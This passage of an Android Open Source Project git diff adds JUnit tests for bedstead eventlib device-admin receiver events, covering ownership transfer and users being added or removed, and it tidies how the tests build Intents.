     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -59,8 +58,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         DeviceAdminSystemUpdatePendingEvent
                 .logger(DEVICE_ADMIN_RECEIVER, sContext, intent, RECEIVED_TIME)
                 .log();
@@ -74,8 +72,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         DeviceAdminSystemUpdatePendingEvent.logger(
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventTest.java
new file mode 100644
index 0000000..aed9cb8
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventTest.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.queryPackage(
+                        sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                        .queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                        .queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                        .queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereUser_works() {
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                        .queryPackage(sContext.getPackageName())
+                        .whereUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().user()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereUserHandle_skipsNonMatching() {
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent
+                        .queryPackage(sContext.getPackageName())
+                        .whereUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().user()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEventTest.java
new file mode 100644
index 0000000..178ea7f
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferOwnershipCompleteEventTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.os.PersistableBundle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminTransferOwnershipCompleteEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final PersistableBundle sPersistableBundle = new PersistableBundle();
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereBundle_works() {
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putString("STRING", STRING_VALUE);
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, bundle).log();
+
+        EventLogs<DeviceAdminTransferOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferOwnershipCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereBundle().key("STRING").stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().bundle()).isEqualTo(bundle);
+    }
+
+    @Test
+    public void whereBundle_skipsNonMatching() {
+        PersistableBundle differentBundle = new PersistableBundle();
+        differentBundle.putString("STRING", DIFFERENT_STRING_VALUE);
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentBundle).log();
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putString("STRING", STRING_VALUE);
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, bundle).log();
+
+        EventLogs<DeviceAdminTransferOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferOwnershipCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereBundle().key("STRING").stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().bundle()).isEqualTo(bundle);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sPersistableBundle)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminTransferOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferOwnershipCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sPersistableBundle)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sPersistableBundle)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminTransferOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferOwnershipCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sPersistableBundle).log();
+
+        EventLogs<DeviceAdminTransferOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferOwnershipCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sPersistableBundle)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminTransferOwnershipCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, sPersistableBundle)
+                .log();
+
+        EventLogs<DeviceAdminTransferOwnershipCompleteEvent> eventLogs =
+                DeviceAdminTransferOwnershipCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEventTest.java
new file mode 100644
index 0000000..6e38146
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserAddedEventTest.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminUserAddedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminUserAddedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminUserAddedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, USER_HANDLE).log();
+        DeviceAdminUserAddedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereAddedUser_works() {
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setAddedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereAddedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().addedUser()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereAddedUser_skipsNonMatching() {
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setAddedUser(DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminUserAddedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setAddedUser(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminUserAddedEvent> eventLogs =
+                DeviceAdminUserAddedEvent.queryPackage(sContext.getPackageName())
+                        .whereAddedUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().addedUser()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEventTest.java
new file mode 100644
index 0000000..6928046
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminUserRemovedEventTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminUserRemovedEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminUserRemovedEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, USER_HANDLE).log();
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminUserRemovedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, USER_HANDLE).log();
+
+        EventLogs<DeviceAdminUserRemovedEvent> eventLogs =
+                DeviceAdminUserRemovedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
